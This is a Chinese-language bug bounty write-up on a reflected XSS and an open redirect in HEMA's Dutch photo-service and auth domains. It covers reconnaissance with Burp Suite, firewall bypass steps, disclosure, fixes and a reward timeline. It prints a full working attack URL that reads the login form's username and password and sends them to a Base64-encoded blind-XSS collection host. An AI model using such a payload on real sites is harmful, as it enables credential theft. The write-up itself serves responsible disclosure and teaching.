HEMA网站反射型XSS漏洞分析与利用实战

本文详细记录了在HEMA网站发现反射型XSS漏洞的全过程,包括使用Burp Suite进行侦察、绕过防火墙限制、构造有效载荷窃取用户凭证,并最终获得漏洞奖励的技术细节。

反射型XSS漏洞在fotoservice.hema.nl的发现与分析

概念验证
浏览器上方显示攻击载荷,下方私有Slack频道展示窃取的凭证信息。

背景介绍

反射型XSS漏洞非常有趣:它们无处不在,如果精心构造注入载荷,其影响可能非常重大。今天我们将尝试发现一个反射型XSS漏洞并为其定制有效载荷。在此过程中我们会遇到某些限制并找到合适的解决方案。

HEMA.nl目标选择

HEMA是荷兰最不可或缺的品牌之一,以其香肠、苹果派和遍布全国的杂货店而闻名。

但我们可以搜索其资产寻找漏洞吗?
查看英文免责声明后确认:我们可以寻找漏洞并报告,甚至可能获得奖励。荷兰版免责声明还详细说明了可能的奖励内容:“美味的HEMA苹果派!"。

侦察阶段:从何处开始?

作为客户,我计划订购一些照片打印服务。这是发现HEMA使用不同域名的好方法。我们启动Burp Suite社区版开始拦截到HEMA.nl服务器的流量。

Burp Suite配置
创建新项目,配置仅捕获HEMA.nl流量,并激活两个重要扩展:

  • Param Miner:帮助发现查询字符串和POST正文中的隐藏参数
  • Paramalyzer:创建目标使用参数的可视化站点地图

手动创建站点地图

虽然可以使用Burp Suite爬虫功能自动创建站点地图,但我更喜欢手动爬取,这有助于理解网站功能和不同子域的使用情况。

关键发现
HEMA.nl顶部菜单将"照片服务"链接到子域名https://foto.hema.nl/。通过观察视觉差异,发现用户菜单中出现了"我的照片项目"链接。

点击该链接后跳转到https://foto.hema.nl/mijn-hema/fotoprojecten/,该页面包含指向认证端点auth.hema.digital的链接。需要将此域名添加到Burp Suite目标范围中。

奖励#1:auth.hema.digital的开放重定向漏洞

仔细查看发现两个查询字符串参数:delegation_url和token。将URL更改为Protozoan.nl后,位置头成功更改为我们的域名,确认存在开放重定向漏洞。

反射型XSS漏洞挖掘

原始重定向指向https://fotoservice.hema.nl/user/login.html?targetPage=参数,该参数包含URL!我们需要检查页面源代码,查看该参数值如何反射到源代码中。

攻击步骤

  1. 注入’关闭字符串 → 失败(被URL编码)
  2. 注入关闭脚本标签 → 失败(被防火墙拒绝)
  3. URL编码 → 失败(不再反射)
  4. 注入<,>或%2F测试服务器反应 → 失败(拒绝此类字符)
  5. 移除URL起始部分 → 成功!重写输入为/user/‘反射参数值’且无URL编码
  6. 枚举可用字符后发现可以安全使用();字符
  7. 创建经典的alert(1)概念验证载荷

最终有效载荷分析

完整攻击URL:https://fotoservice.hema.nl/user/login.html?targetPage=%27;w=%27%23%27;window.stop();alert(%27Proof-of-Concept-by-Jonathan-Bouman%27);document.images[0].src=atob(%aHR0cHM6Ly95b3VyLW93bi1ibGluZC14c3Mtc2VydmVyL2hlbWEv/%27)%2bloginForm.login.value%2b%27%3a%27%2bloginForm.password.value;alert(%27Stolen-password%3a%27%2bloginForm.password.value%2b%27.Now-redirect-user.%27);setTimeout(%27window.location.href=window.location.hostname%27,3000);%27

技术要点

  • %27; 关闭字符串并结束行
  • w=%27%23%27; 添加#字符使服务器端代码行为不同
  • window.stop() 停止原始重定向
  • document.images[0].src 通过图片加载外泄数据
  • atob() 解码Base64字符串绕过防火墙检测
  • setTimeout 3秒后重定向用户到原网站

将XSS数据发送到私有Slack频道

使用https://github.com/mazen160/xless工具设置自己的盲XSS服务器和Slack频道,当载荷触发时接收推送通知和外泄数据。

限制条件

用户需要加载包含我们载荷的URL,且反射型XSS代码仅在用户成功登录后触发。

讨论与解决方案

HEMA是负责任披露的优秀范例:有完善的披露声明、友好快速的邮件回复,并用苹果派和礼品卡/金钱奖励研究人员。

解决方案

  • 开放重定向漏洞:使用URL白名单
  • 反射型XSS漏洞:正确编码或转义所有用户输入,或使用白名单

时间线与奖励

漏洞发现时间线

  • 08-05-20 发现反射型XSS漏洞#1和开放重定向漏洞
  • 09-05-20 发现反射型XSS漏洞#2-#5和SQL注入漏洞
  • 11-05-20 HEMA确认漏洞
  • 14-05-20 获得€100 HEMA礼品卡奖励
  • 多次修复确认和绕过测试,最终于06-08-20发布报告

最终奖励:€100 HEMA礼品卡 + 额外奖励(报告5个反射型XSS漏洞、1个SQL注入漏洞和其他多个漏洞)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计